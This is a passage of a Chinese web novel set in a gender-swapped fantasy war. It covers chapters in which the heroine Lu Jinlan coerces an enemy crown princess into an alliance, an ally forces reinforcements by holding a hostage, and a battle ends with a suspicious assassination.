陆锦澜赞许道:“没错,就是这个道理。你叫上杨凝一起去,她在凌家军中多年,应该有些故旧,你们能说服多少算多少。” “明日开战后,南门大开,许进不许出。你们可以带着援兵从南门进来,直接到北门迎敌。” “记住,一定要看亲眼看着凌家军出兵,任何人的口头许诺都不要信。” 陆锦澜说着将求援信交给晏无辛,又叮嘱了她一些细节,才放她离去。 陆锦澜又给宋婧骁写了封信,交给闻霁,“劳烦军师着人将此信送出去,我在信中写明了三种情况,母帅看了自然会相机行事。” 闻霁拿着信出去了,陆锦澜对项如蓁道:“我要去曲国大营走一趟,囚龙关交给你了。夜间如果敌人突然攻城,你要顶住。” 项如蓁深吸一口气,“此行凶险,你一定要去吗?” 陆锦澜点了点头,“这件事,没有人能替我做。” “好,我会一直坚守着城池,直到你平安回来。人在关在,你相信我。” 话音未落,陆锦澜便笃定道:“我相信你。可万一……万一有什么意外,你也不要死心眼。关不在了,人也要在。到了必要的时候,你就去北州城,去找无辛。” 项如蓁鼻尖酸楚,沉声道:“没有万一,如果我们出了什么事,无辛会替我们照顾好家眷的。” 陆锦澜眼眶一红,含泪笑了笑,“别这么悲观,我们一定能赢。等我,天亮前,我一定回来。” * 萧衡正在房里洗衣服,陆锦澜大步进来,“别洗了,立刻收拾东西,你皇姐带兵到关下了。” “什么?”萧衡匆忙甩了甩手上的泡沫,急道:“她怎么可以这样?我还在城里呢!你把我交出去,她会撤兵吗?” 看着他慌张得发懵的样子,陆锦澜不由一笑,“当然不会。” “那怎么办?不行,我要去跟她说,她要是敢攻城,我就从城楼上跳下去。” 陆锦澜连忙将人抓回来,“她要是铁了心要攻城,你跳十次也没有用。不如收拾东西,带我去见见她,让我跟她好好谈谈。” 萧衡一愣:“你要见我皇姐?” “嗯,”陆锦澜握住他的手,眼含笑意,“你不想让我见见你的家人吗?” 她这般暧昧态度,让萧衡想入非非。 难道陆锦澜想阵前联姻?虽说国与国之间,用联姻修复两国关系是常有的事儿,但是现在已经兵临城下,会不会太晚了? 萧衡迟疑了一下,“你现在和我皇姐谈,来得及吗?” 陆锦澜坚定道:“来得及,战争开始之前,一切都来得及。” 萧衡一想,他一直跟在陆锦澜身边,没名没分的也不是个事儿。如果趁此机会联姻,说不定他还能得个平夫的头衔,因祸得福。 他连忙擦了擦手,“我这就去收拾。” * 两匹快马疾驰到囚龙关外的曲国军营前,岗哨厉声呵斥:“站住!你们是什么人?” 马上两人都蒙着面巾,一身黑衣,身上系着黑色的披风,披风上的风帽遮住了头。 此时天黑,几乎什么都看不见。 一人摘了下面巾,高声道:“大胆!你们连我都不认识吗?” 守岗的卫兵认得他,喜道:“小郎主,您怎么回来了?” 卫兵连忙上前牵过马,萧衡下马道:“要打仗了,我再不回来,就要死在城里了。这位是我的朋友,我带着她出来避祸的。皇姐在哪儿?我要见她。” 卫兵一路引着二人往里走,到了萧承英帐外,萧承英的近卫拦阻道:“小郎主,请您稍等,皇储殿下正在会见贵客。” 萧衡不悦道:“什么贵客?比我还重要?” 那人笑着赔罪道:“您回来殿下自然是高兴的,只是帐中是姜国来使,轻慢不得,请小郎主和您的朋友稍候片刻。” 萧衡回头看了陆锦澜一眼,见她微微点头,便道:“好吧,那我们等一会儿。” 陆锦澜四处看了看,忽然低声道:“不如我们找个地方喝杯茶,慢慢等。” 萧衡见她如此放松,更为高兴,“好,我这就让她们去安排。你到了这儿,就和自己家一样,千万别客气。” 很快有人安排了营帐,陆锦澜进入帐中看了一眼,“你在这儿等着,我去方便一下。” 萧衡一愣:“那我找人带你去……” “不用。” 陆锦澜按住他的肩膀,低笑一声,“我这么大人,还能丢了吗?这是你们曲国的地盘,你怕我跑了不成?” 萧衡笑着摇了摇头,“那你去吧。” 陆锦澜这一去,过了一刻钟还没回来。 萧衡隐隐有些不安,刚要出去寻找,萧承英忽然掀开帘子进来。 她身上的伤还没完全好,却已经穿上了盔甲,只有肩颈 处露出包裹伤口的纱布。 萧承英面目严肃,眼神却颇为慈爱,“十四弟,你终于舍得回来了?” 萧衡一笑,“皇姐,我不是一个人回来的,我还带了个人来见你。” “人呢?”萧承英眯了眯眼,心中顿时涌起一丝不祥的预感。 “你别告诉我,你把陆锦澜带回来了。” 萧衡没吭声,萧承英脸色一变,“来人!立刻把陆锦澜给我搜出来!” 第86章 “我在这儿!”帐外传来一声高呼。 萧承英转过身凝眉望去,陆锦澜从容地迈着步子,掀帘进来。 萧承英身边的侍卫见是她,立刻拔出钢刀,怒目而视。 陆锦澜的目光在众人脸上逡巡片刻,看着萧承英微微一笑,“我只是去方便一下,皇储殿下何故如此紧张?” 萧承英咬牙道:“你素来奸诈,我不得不防。” 陆锦澜不以为然,“虽然是我伤了殿下,但我听衡郎说,你醒了之后对我颇为赞赏,如今何必装作讨厌我的样子?何况从衡郎这论,我该叫你一声‘皇姐’。” 皇姐?众人一脸吃到瓜的表情,眼珠子飞快地在三人之间瞄来瞄去。 陆锦澜笑着用指尖弹开面前的钢刀,“皇姐,坐下聊聊?” 萧衡脸上一热,忙对萧承英道:“皇姐,锦澜信任我,才亲自送我回来的。人家拿出这么大的诚意,你为什么要搞得剑拔弩张的?不知道的,还以为你怕她呢。” 萧承英白他一眼,“你懂什么?就你这个脑子,她能把你骗得团团转。你被人卖了,还帮人数钱呢。” 萧衡不服,“不聊就不聊,你骂我做什么?知道你怕了她了,从今以后你就当没有我这个弟弟,我们走。” 萧衡拉住陆锦澜的手便要离开,萧承英眉头一皱,“好啦,来都来了,聊几句就聊几句。” 她看了眼身边的侍卫,“你们都出去。” 萧衡得意地冲陆锦澜眨了眨眼,忽听萧承英道:“十四弟,你也出去。” “啊?让我听听怎么了?” 萧衡不肯走,陆锦澜笑着捏了捏他的脸,“乖,听你皇姐的。” “好吧,那我跟皇姐说句话。” 萧衡快步走到萧承英身边,悄声道:“你跟她好好谈谈,我要当平夫。如果是平夫的话,可以多给些陪嫁。如果她非让我做小,你……你帮我想想办法。” 萧承英听得眉头紧锁,什么乱七八糟的? 萧衡跑了出去,帐内只剩下陆锦澜和萧承英。 一张方桌,一壶热茶,二人相对坐下。 萧承英忍不住率先开口,“你来找我,难道是为了谈十四弟的婚事?” 陆锦澜噗嗤一笑,“皇储殿下觉得呢?” “我觉得不是。” “殿下英明。” 萧承英翻了个白眼,无奈道:“我这个弟弟从小得母皇宠爱,他为了偷懒,惯会讨好卖乖。他是幼弟,我们这些做姐姐哥哥的,也不忍心严苛要求他,竟把他骄纵坏了。” “早知道你把他迷得晕头转向疯疯癫癫,我真该把他锁在宫里,严加看管。” 萧承英越说越气,她本来气得是自家的好白菜被猪拱了。现在听陆锦澜的语气,发现这只“猪”不仅拱了她家白菜,还不想负责,更气愤了。 “你既然不谈婚事,那就闲话少叙。说吧,你想聊什么?” 陆锦澜放下茶盏,开门见山道:“我想和你结盟。” 萧承英冷笑一声,直接了当的拒绝:“那不可能。” 陆锦澜也不急着恼,反而笑问:“为什么?” 萧承英道:“理由不是明摆着吗?第一,曲姜两国一直是友好同盟,我没有理由背弃姜国;” “第二,姜国势大,眼下我们合兵一处,剑指囚龙关,胜利在望,我为什么要改变主意?” “第三,你上次差点要了我的命,我是很欣赏你的本事,但一码归一码。” 萧承英端起茶杯,冷冷地扫了她一眼,“认可你的能力,和记恨你希望你去死,并不冲突。” 陆锦澜笑着点头,“好好好,纯娘们儿,够爽快!殿下既然这么直接,我也不绕弯子了。” “你刚才所说的理由,我认为全都不成立。” “我知道,我们嬅国出现了叛臣。那人勾结姜国,意图倾覆我朝。我朝内斗,有人给你们做内应,而且此人掌握兵权,可以暗助你们,这的确是入侵的好时机。” “如果我没猜错,姜国就是用这个理由说服你们曲国入盟的吧?” 萧承英点了点头,“是,又怎样?” 陆锦澜勾了勾嘴角,“那你还说你弟干什么?你才是被人卖了,还给人数钱。” 萧承英不解,“什么意思?” “你想啊,你们姜曲两国能够友好,是因为嬅国的存在。咱们三足鼎立,谁也灭不了谁,大家才友好至今。假如明日你们赢了,再与叛军一同南下,嬅国很快就不存在了。” “那时你们曲国就成了姜国嘴边的一块肥肉,你说姜国皇帝是想吃,还是不想吃呢?” 萧承英怔了一下,沉默良久,方道:“不瞒你说,我也曾有过这层担忧。但是当时姜国和我们说,如果曲国不和姜国结盟,姜国就要和嬅国结盟来攻打我们。” “你们那个皇帝野心勃勃,如果姜国去找她结盟,她一定同意。到时曲国怎么办?你以为我当时有的选吗?” 陆锦澜倒是没料到会是这样,她亦沉默片刻,方开口道:“此一时,彼一时。殿下既然知道如此下去,隐患重重,就该悬崖勒马,彻底改变这个局面。” “眼下姜国已经和嬅国开战大半年,姜国皇帝现在去找我朝皇帝结盟,你觉得她们能谈妥吗?” 萧承英连连摇头,“结盟?哼,已经结仇了,还怎么结盟?” 陆锦澜道:“没错,所以你必须和姜国结盟的理由也不存在了,因为姜国已经无法再用‘和嬅国结盟’来威胁你。” “相反,你如果和姜国继续结盟,威胁的是你自己,是你的曲国。” 萧承英想了想,“你继续说下去。” 陆锦澜笑着给她的杯子里续上热茶,“殿下刚才拒绝我的第一个理由,是你没理由背弃姜国。现在,你有理由了。” “你拒绝我的第二理由也不成立,你说你们胜利在望。其实,没那么容易。我已经派人去请援军,明日宋将军凌家军都会赶来增援……” 话未说完,萧承英便忍不住翻着白眼打断道:“我真服了你了,刚说了几句正经话,你又开始胡说八道,你怎么又想诓我?你当我是蠢货?” “宋婧骁何其英明,明日一战是个必死的局,她为何要来增援?来多少死多少,就算你是她的亲女儿,她也不可能带着这么多人来送死。更何况凌家军和你势同水火,怎么可能增援你?” 陆锦澜呵呵一笑,“哈哈,殿下是聪明人,我怎么可能诓你呢?” “但我确实派人去请了援军,实话说,凌家军能不能请动,的确是个未知数,但宋家军一定会有动作。” 萧承英还是不信,“胡说。” 陆锦澜笑着摇头,“殿下睿智,可惜你只了解我母帅,却并不了解我。你既说我奸诈,就该想到我行事诡谲 ,是不会坐以待毙的。” 萧承英沉思半晌,喃喃道:“情况已经恶化到这个地步,几乎必死无疑,难道你还有破局之策?” “和我联盟就是你的计策?” 陆锦澜道:“计策之一。” “可我还没有答应,就算我答应了,你也来不及去告诉宋婧骁。等你的援军到达的时候,姜国人早就拿下囚龙关,一切都晚了。” 陆锦澜忙道:“不晚。” 萧承英感觉自己的大脑已经跟不上了,忙问:“怎么说?” 陆锦澜低声道:“我不妨给殿下透个内情,我在出门前,已经命人在囚龙关上准备红、黄、绿三色传信烟雾。烟雾一起,直冲天际,二三十里外都可以看见。” “那又如何?” “我给我母帅的信,此刻应该已经到了她的手上,殿下想知道我怎么写的吗?” 萧承英急道:“快说!” 陆锦澜道:“我跟她说了,我会来和殿下谈判。如果放黄烟,那代表谈判不成,你一意孤行,姜曲联盟牢不可破,而且还有意外的超出我预知的危险,请宋家军按兵不动。” 萧承英道:“看来明日你要放黄烟了。” 陆锦澜摇头,“如果放绿烟,代表我已经清除障碍,姜曲联盟已破。萧承英临阵倒戈,全力帮我,请母帅率兵来援,与姜国决一死战。” 萧承英怔了片刻,“你在做什么美梦?就算我不帮姜国,我也不可能帮着你去打姜国,你当我们萧家人都那么好骗?” 陆锦澜摆了摆手,“皇储殿下稍安勿躁,听我说完。” “别忘了,我还准备了红色烟雾。如果明日囚龙关上放起红烟,那代表你萧承英不肯帮我,你忙着率兵和姜国凑热闹。不过你把兵马都带到这来,你那赤州城顶多还有四五万老弱残兵,怎么能顶得住兵强马壮的宋家军?” “我放红烟就意味着……”陆锦澜得意地挑了挑眉,“请母帅率兵拔下赤州城。” “陆锦澜!”萧承英将杯子一顿,半杯水都洒了出来。 帐外人忙问:“殿下,出了什么事?” 萧承英平息着怒火,咬牙道:“没事。” 陆锦澜掏出手帕,擦了擦桌上的茶汤,温声道:“别生气,还没放烟呢。我知道你现在心里有点乱,我好心帮你分析一二。” “前面我也说了,你跟着姜国打下去,捞不到好处。回头姜国打完了嬅国,实力大增,一定会把你们曲国灭了。” “我们嬅国出了叛臣叛军,算我们倒霉。不过你别忘了,我岳母带领的可是一支仁义之师,她怎么会眼睁睁的看着故土生灵涂炭呢?” “我让她去打赤州城,她便会明白我的用意。一旦赤州城失手,你只有两个选择,管和不管。” “我已经告诉我母帅,如果你回兵救援,让她不要管,继续往里打。如今曲国国内兵力空虚,她大可以带着三十万兵马长驱直入,到时候不等姜国来灭你们,你们就差不多忽明忽灭了。” “我帮你算了一下,你带兵往回抢地盘的速度,一定比不上她拔城池的速度。等她拿下了丰都,你差不多能赶到。到时候你母皇成了刀下鬼,你倒是可以直接登基。” 萧承英此刻已经气到七窍生烟,咬牙切齿道:“陆锦澜,你给我慎言。” 陆锦澜笑道:“好,那先不提这茬了,咱往好了说。就算到时你侥幸打赢了,可曲国已经处处都是废墟了。姜国灭完了嬅国,灭你们就更轻松了。” 萧承英深吸一口气,“你这么做,对你有什么好处?” 陆锦澜两手一摊,“没有好处!这么做对我能有什么好处呢?” “明日我城破身死,等宋家军打到丰都的时候,我坟头都该长草了,死后的事儿跟我有什么关系?” 萧承英费解道:“那你为什么要这么做?” 陆锦澜眼眸一寒,“因为我报复心极重,你如果害得我国破家亡,我也会让你国破家亡。” 帐内气氛凝重下来,陆锦澜又给自己倒了杯茶,轻轻吹了吹上面的浮沫,话锋一转,“不过我认为我们之间,不用非得同归于尽,大可以双赢。” “同归于尽,是没有办法的办法。但说起来,咱们两国打得你死我活,却让姜国坐收渔翁之利,这简直没有道理。” 她瞥了眼萧承英纠结的面色,喝了两口茶,缓缓道:“只要你愿意临阵倒戈,帮我打退姜国,那么我们便可以休战和谈。到时候我从姜国那里要两个城池,分你一个,你看如何?” 萧承英眉头紧锁,“你让我想想。” 陆锦澜笑了笑,“还是我帮你想吧。现在摆在你面前的看似有三条路,要么帮姜国打我,要么帮我打姜国,要么两不相帮,自己撤退。” 萧承英叹息道:“姜国不会允许我撤军的,她们的来使已经明确说明,明日我的兵马是要打头阵的。” 陆锦澜微笑道:“我猜也是,姜国巴不得你现在多消耗兵马,以便她们日后收拾你。不过这样一来,你看似有两条路,实际上你只有一条路。” “怎么说?” “因为你的另一条路,刚刚被我堵死了。” 萧承英眼里一慌,“你做了什么?” “今晚来找你的姜国来使,地位不低,我听她们交谈中提到,有个人还是什么王。” 萧承英眼里闪过一丝怀疑,“不可能,她们已经走了。” 陆锦澜勾起嘴角,“你亲眼所见?你可并没有派人护送她们到大营外啊。” 萧承英心里咯噔一下,“你把姜国来使怎么样了?” 陆锦澜淡然的回答:“都杀了。不信,你可以派人到马厩去找找尸体。” 萧承英愤怒地瞪大了眼睛,“陆锦澜,你……你……” 萧承英气到说不出话,陆锦澜忙道:“你看你又急,别生气,听我慢慢跟你说。” “我这么做也是为了你好,我主要是怕你纠结。这回好了,姜国一定以为你已经选了我。你不用为难了,直接帮我就是了。” 萧承英气到一甩袖子,“我不帮!” 陆锦澜好心劝道:“别说气话。你说你当初和姜国结盟,是因为你没有选择。其实,此刻你和我结盟,同样没有选择。” “姜国那边你选不了了,你不选我,还能怎么样?更何况……” 萧承英平复着愤怒的呼吸,追问道:“更何况什么?” 陆锦澜压低了声音:“更何况,我们初次见面是在战场上,我刺杀你,当时那么多人帮你,我差点得手。而此刻,你坐的地方,比那天还近。我想取你性命,轻而易举。” 萧承英久久地沉默,她和陆锦澜交过手,她知道,这句话是真的。 只不过她没想过,陆锦澜深入敌营,以身犯险,竟然会把刺杀设为目的之一。 “你真想要我的命?” “不想!”陆锦澜笃定回答:“我也很欣赏你,如果我们并肩作战,我愿意同你出生入死。可你不要逼我,如果你执意做我的敌人,我只能杀了你,这也是没有办法的办法。” 萧承英闭上双目,沉默半晌,“好吧,你赢了。我的确没有选择,我只能帮你。” “可我想问问你,你如此精于算计,你把我、十四弟、你母帅、你的朋友、各国将士都当成你棋局上的棋子,难道为了赢,就可以不择手段?” 陆锦澜叹了口气,“是的,你说得都对。但我要补充一点,我也在棋局上。” “我不是下棋的人,我也只是棋局上的一颗棋子。因为身处其中,不得不在重重死局里寻求一丝生机。我看似有很多的选择,但是当重任扛在我的肩上,我也只能使尽浑身解数,力挽狂澜挽救危局。” “至于你所说的不择手段,我也承认。但我且问你,姜国与我国叛臣合谋,算不算不择手段?人人都能不择手段,为何我不能?” “你倒是光明磊落,我还没听闻你有什么不择手段的事。但你若是有许多 的手段,此时此刻,何至于被我这样的人,逼得没有选择?” “皇储殿下,我说得对吗?” 萧承英眼神复杂地望向陆锦澜,心中似乎有千言万语,最后只是化为一声叹息。 她拎起茶壶给陆锦澜的杯中续上热茶,温声道:“夜风寒凉,你多喝些热茶再回去吧。” 陆锦澜笑意终于有了诚意,“多谢殿下。” 萧承英感慨道:“说了这么多话,我已经相信你有扭转乾坤的本事。你比我更有智谋,也比我更懂人心。你比我张狂,比我傲慢,比我奸诈……当然,我现在忽然觉得,奸诈也不算什么坏事。” “总之,我不得不佩服你,因为你比我更有办法。” “可我还想问你一个问题,我明日帮你,宋家军明日帮你,那凌家军呢?明日,你到底如何说服凌家军为你出兵?”—— 作者有话说:来啦,稍微耽误了一会,这章超长。突然觉得“奸”这个字,有时也可以用,有种女人很能干很有本事的感觉,我们老家有时候说某个人,“你太奸了!”有种你厉害到让我生气,但我又没办法的感觉。在这里,我们可以重新诠释字的意义。前面我似乎没解释,但是我用到嫁娶这两个字时,没想过替换,因为我都理解成:嫁,到女人家。娶,女的取走。对了,今天改了书名。原名叫《穿到男频性转文后,她爽翻了》,总被误会是女穿男,现在改成《拥有男频待遇后她爽翻了》。明天大决战,马上打完! 第87章 陆锦澜笑着叹了口气,“说服?哪有那么容易,凌家军那边又没有……” 她本来想说‘凌家军那边又没有姜国来使’,但她估计这个笑话萧承英会觉得不好笑,便没有说下去。 只道:“那边没有好的切入点,只能让我的朋友晏将军去试试看。不过我猜,凌家军现在比我们心里还乱。事儿,是定北侯惹下的,但她肯定想不到会发展成这样。” “她当初大约只是想以此为要挟,逼皇上让步。没想到皇上这一次选择和她死磕到底,走到如今骑虎难下。看着是定北侯的阴谋要得逞了,实际上是她的命快没了。” 萧承英不解,“万一明天姜国军队和凌家军搅合到一起,打赢咱们,她也没机会脱困?” 陆锦澜低笑两声,“凌家军明日打赢打输,对定北侯本人来说,都没有区别。只要僵持阶段一过,彻底和皇上撕破脸,定北侯就算活到头了。” “别忘了,凌家军虽然在这儿,可她本人却在京城。皇上死活不放她出来,恐怕就防着这一天呢。” “如果我是皇上,哪怕叛军已经杀到皇宫了,我也要先去定北侯府宰了这个通敌叛国的家伙。” 萧承英越听越难受,焦急道:“你能不能说点乐观的话?你得跟我说咱明天一定能赢啊。你说叛军杀入皇宫的话,我这心里没底啊!” 陆锦澜一愣:“哎?这不是你先说的万一吗?我跟你虚着说,你说我诓你。我跟你说几句大实话,你又不敢听了。好好好,我再给你透个底儿。” “我跟你说,定北侯现在不在这儿,但是她的女儿小侯君凌照人在这儿。这个凌照人和我,还有此次派去求援的晏将军都是同窗,至少能说上话。” “北州城内的凌家军,现在都听前将军凌信的。我跟凌信虽然没什么接触,但我扣了她三万兵马,她拿我一点招儿都没有。我确信,她肯定比你好对付。” 萧承英心虚地看了陆锦澜一眼,“不好说,我也拿你一点招儿都没有。” 萧承英本不是个自卑的人,她是出了名的恃才傲物。这位皇储殿下从小到大能力出众,在她之前,曲国都是立皇长女为皇储。 可萧承英排行老三,既非长女又非嫡女,论长幼尊卑,怎么排都轮不到她。可她能力实在过于出众了,不论文治武功,她的成绩在众姐妹中都是一骑绝尘,无人能望其项背。 曲国皇帝左思右想,就算立了别人当皇储,以萧承英的脾气,是肯定不甘屈居于庸人之下的。这个皇位,早晚要被萧承英抢过去。 于是她母皇为大局着想,为曲国的将来着想,便为她破了例,干脆省了麻烦,直接立她为皇储。 萧承英十七岁掌兵,十年来在曲国境内数次带兵平乱,在军中颇有威望,称得上少年得志风头无两。 如今她以皇储的身份来到边境战场,与宋婧骁、索红珠这些资历是她数倍的老将作战,能打得有来有回,诚然不易。 她一直坚信她只是吃了年轻的亏,假以时日,未来必是她的天下,直到她在战场上遇到了陆锦澜。 初遇,感觉就很坏。 因为这个人年龄比她小十岁,武功竟然比她高出许多。智计无双,胆识过人。 更坏的是,这样的人还是她的敌人。 今夜,陆锦澜带着她的智计和胆识再次拜访,让萧承英生平第一次感到计策全无,根本没有招架之力。 她逼得她在毫无选择的情况下,被迫成为她的同盟。 萧承英不得不承认,她在愤怒之余,其实也偷偷松了一口气。 因为她们终于并肩而立,不再为敌。 * 陆锦澜见萧承英陷入沉默,安慰地拍了拍她的肩膀,“殿下不必忧心,晏将军行事机敏,至少能争取到一部分凌家军。” 萧承英看向她,“希望明日囚龙关上燃起绿色烟雾,你那位晏将军能多一个说服凌家军出兵的理由。” 陆锦澜微笑道:“这你放心,晏将军出发前我已经跟她说好。无论明日囚龙关上燃起什么颜色的烟雾,她都要告诉凌家军,这是曲国倒戈、宋家军至的信号。” 萧承英闻言盯着陆锦澜看了许久,终于一笑。 “有你这样的盟友,我何愁不胜?” 陆锦澜笑着以茶代酒,陶瓷器具轻轻碰撞,发出悦耳的脆响。 两人商议好天亮后作战的具体细节,陆锦澜才先行离开。 项如蓁彻夜守在囚龙关上,直到天蒙蒙亮,昏暗中冲出一道熟悉而矫捷的身影,马蹄声哒哒而来。 项如蓁忙道:“开城门,是陆将军!” 陆锦澜下马一路飞奔,迅速登上城楼,“准备放绿烟!” 天蒙蒙亮,姜国主将便看到囚龙关上一道绿烟直冲天际,不由得心生疑虑。 “咱们派去曲国大营的使者回来了没有?” “启禀将军,还没回来。” “不对劲,派一支小队去接,迎上一迎。” 一支二三十人的小队到了曲国大营,很快便有人热情的迎上来,“你们的使者正在谈些要紧事,我们皇储殿下请诸位进去说话。” 姜国使者并未起疑,直到在帐中看到了几具尸体。 萧承英站在帐外,里面的人只能看到一个在光影作用下,无比巨大的黑影,还有一声果决的命令:“杀。” 姜国大营没有等到归来的使者,却等到了一场突袭。 率兵赶来的宋婧骁观战片刻,立即吩咐左右:“绕后包抄,截住姜军后路!” 陆锦澜眼看着形势一片大好,立刻拔出长剑,高声道:“将士们!曲军替我们冲了头阵,宋家军替我们堵了敌人的后路。现在,该轮到我们让她们开开眼了!” “咱们八万人,要打出十万人的气势。随我前去,放手大杀!” 将士们此刻早就血脉喷张,期盼已久,几乎无法再压抑。她们高举武器,放声大喊:“杀!杀!杀!” 囚龙关城门大开,将士们手握铁枪身骑战马,卷起滚滚黄沙,犹如恶龙出世,咆哮喧腾,疾驰而至。 十几里外的北州城都能听到震天的喊杀声,晏无辛心急如焚。 为了拉凌家军下水,陆锦澜跟晏无辛说无论放什么烟,都要告诉凌家军我们已经争取到了两路援军。 当时情况紧急,许多话来不及细说。导致晏无辛心里根本没有底,她完全想不到陆锦澜要靠什么来说服萧承英,临阵倒戈。 所以,当她看到绿烟的时候依然心存疑虑。 这会不会是锦澜为了迷惑谁,而故意放的? 但不管是不是真的有援军,让凌家军出兵增援是最为保险的。 听到震天的杀声,晏无辛坐立不安,终于无法再等。 她刚要起身出去,杨凝带着几位将军前来,“这些都是愿意抗命增援的铁娘子,大家手里多少有点人,可惜没办法大张旗鼓的宣扬,还是少了点。” 晏无辛忙问:“能凑多少人马?” 杨凝道:“一万三千余人。” 晏无辛摇了摇头,“不够!” 杨凝咬牙道:“增援不够,但兵变够了,咱们要不要试试?” 晏无辛把心一横,“走!带上你们手里最可靠的人手,跟我去见前将军。” * 前一晚,晏无辛已经跟凌信好话说尽,又劝了凌照人半宿,嘴都说干了。 凌照人虽然表示支持增援,但她还要和凌信商量,现在天都亮了还没消息,看来是没得商量。 那就只能剑走偏锋,兵行险着。 晏无辛带着杨凝等人气势汹汹要去找凌信,半路遇到面色尴尬的凌照人。 晏无辛一把抓住她的手腕,“上哪儿去?” “我正要去找你,前将军她……她只听我娘的,我说什么都没有用啊。” “前将军在哪儿?” “在城楼上,看人加固城防呢。” 晏无辛拉住她,“走,跟我一起去见她。” 凌信悠然地坐在城楼上,用望远镜看着囚龙关方向升腾起的一缕缕硝烟,忽听身后有人道:“囚龙关还没失守,前将军就忙着加固城防,是料到她们必败吗?” 凌信回头一看是晏无辛等人,她微微对凌照人点头招呼一声,转而轻蔑道:“囚龙关本就是必败之局,晏将军何必冲我来?你不是说放烟就是有援军吗?还来找我干什么?算起来,我已经支援陆将军三万兵马,仁至义尽了。” 晏无辛冷笑一声,“别人增援是别人的事,你为何不肯增援?你手握三十万大军,顷刻便可赶往囚龙关。可你至今仍然不肯出兵,是何居心?” 凌信不屑道:“我不出兵自然有我的道理,我是上级你是下级,还轮不到你来质问我。” 晏无辛咬牙道:“好,咱们话不投机,我也懒得废话。” 凌信听这语气不对,心头警铃大作,来不及提醒,晏无辛飞快地取出匕首,横在了凌照人的脖子上。 凌信猛地从椅子上弹起来,凌照人惊呼一声,“晏无辛!你这……这是干什么?她不出兵,和我有什么关系?” 晏无辛冷笑一声:“照人,得罪了。但我若不取你的命,只怕前将军以为我只会动嘴皮子,懒得搭理我。” 凌信忙道:“有话好好说,放开小侯君!” 晏无辛道:“我已经说得够多了,现在不想说了。我只问你一句,出不出兵?” 凌信急道:“凌家军只听命于定北侯,侯君的命令是撤军,而不是增援。我怎可违背她的命令?” 晏无辛冷哼一声,“那你就能眼睁睁地看着她的女儿去死吗?” 锋利的刀刃贴在凌照人的脖子上,凌照人慌道:“出兵吧!有什么比我的命还重要?” 凌信万般为难,“事关重大,小侯君容我想想。晏将军,你冷静一下,城内全是凌家军。如果你杀了小侯君,是绝对不可能活着走出北州城的。” 晏无辛嘴角一勾,不屑道:“谁跟你说我要活着?我杀了小侯君,就从这儿跳下去。别忘了,我是晏维津的女儿。我娘身为相尊,地位超然,你以为她会饶过你们……或者,饶过你们的家眷吗?” 晏无辛目光冰冷地扫过凌信和她身边的部将,“你们心里应该清楚,凌家军正在走一条绝路,增援囚龙关是你们回头的最后机会。” “昨儿我听几位将军都是京城口音,你们的家人大概离京城不远。相信我的死讯到了京城,你们的家里就要惨遭灭门了。” “今日出兵,诸位尚且有活命的理由。今日不出兵,诸位就等着和全家在地府团圆吧。” 凌信身边的部将不由动摇,纷纷看向凌信,“将军,出兵吧!” “将军!我们的家眷何其无辜,相尊大人她心狠手辣……” “将军,小侯君一旦出了事,侯君也不会高兴的,到时候皇上再怪罪下来,我们岂不成了两边得罪人?此时,我们尚有转圜的余地啊!” “将军……” “住口!”凌信大喝一声,有意徘徊,却心知大势已去,只得无奈道:“出兵!” 有人迟疑着问:“出……出多少?” 凌信颓然地跌坐在椅子上,沮丧道:“愿意去的,都去吧。” 话音一落,身边的人立刻退了个干净,她们立刻回去点兵点将,火速驰援囚龙关。 晏无辛收回匕首,对凌照人道:“抱歉,我实在没有别的办法。” 她说完便走,凌照人忽然追上来叫住她,“等一下!” “怎么了?” 凌照人茫然道:“我娘坚持让凌家军撤军,是不是做了一个很错的决定?” 晏无辛抿了抿唇,其实她昨晚已经暗示过凌照人,定北侯一味后撤有违常理,有通敌之嫌。 可凌照人完全没听出来,她或许还没意识到,这段时间到底发生了什么。以她的脑子,是不会想太多的。这样的大事,定北侯自然也不会告诉她。 晏无辛犹豫了一下,打了个太极,“不好说,仗打完了再细论功过吧。” 凌照人又问:“那如果我在战场上立功,能不能替我娘抵过?” “不……不……不知道。”晏无辛打了个结巴,到底没能说出残忍的真相。 凌照人眼底燃起一丝希望,“那我跟你去,咱们一起杀敌立功!” * 这场战争对于姜国军队来说,格外漫长。姜军从未打过如此艰难的战役,从突然被盟军突袭,到腹背受敌,最后发现敌人像伤口上的血,一股一股地冒出来。 到处都是敌人,她们穿着的不同兵服,却像抽了风一样,从四面八方赶来,默契地攻击同一目标。 姜国主将到死也没想明白,到底发生了什么?怎么会从必胜之仗,变成了大败之仗? 当然,战场上发生了许多令人意想不到的事。 打到尾声,前将军凌信也似模似样的赶来了战场。 不过那个时候,只剩下小股残兵。最先投入战场的曲国军队,已经开始打扫战场了。 凌信带着一支小队追杀几个残兵,一支毒箭从暗处射过去,很快便传出前将军阵亡的死讯。 回到城关,晏无辛急匆匆来找陆锦澜,“你看见凌信是怎么死的了吗?” 陆锦澜微微点头,“我看见了,我还看见了下手的那个人,穿着咱们的军服。” 晏无辛连连点头,“我也看见了,我还以为是你派人做的。” 陆锦澜无语道:“我也以为是你派人做的,所以我假装没看见。早知道应该当场捉住那人问一问,这事儿不对劲。” 两人正说着,项如蓁一身血污的从外面赶回来,推门便道:“有人暗杀凌信。” 两人忙道:“我们看见了。” 项如蓁一愣:“看见了为什么不抓住那人?” 两人“呃”了一声,迅速找到借口:“当时没顾上。” 项如蓁抱怨道:“害我追出二十里,才把她抓回来。” 陆锦澜和晏无辛对视一眼,“人在哪儿?” 第88章 项如蓁命人将刺客押上来,三人密审。 “谁派你来的?” “我不能说,我劝几位将军最好也不要问。” 陆锦澜眉头一皱,晏无辛威胁道:“不要在这儿逞英雌,你落我们手里就老实交代,别逼着我们动刑。” 那刺客强硬道:“你们可以用刑,甚至可以杀了我。但我奉的是密令,死也不会开口的。” 她态度坚决,三人心里不禁都有些嘀咕。 项如蓁低声道:“此人脸生,但身手不错。我刚刚找囚龙关的几位将军暗中辨认了一下,她们都说没见过此人。她一定是趁着今日城门大开,偷了咱们的军服,混到战场上的。听口音,像是京城来的。” 陆锦澜微微点头,黑眸一转,心里已经有主意。 “奉密令是吧?不说是吧?可以。”陆锦澜笑着摸了摸下巴,“我一会派几个人,押着你去游街。敲锣打鼓,广而告之,就说此人奉密令暗杀前将军凌信。我虽然不知道你背后的主子是谁,但到时候她一定气疯了。” 刺客震惊地瞪大了眼睛,“你……你不能这么做!” 陆锦澜笑了笑,“我就要这么做,你能把我怎么着?” 三人相视一笑,晏无辛起身道:“我这就去叫人。” 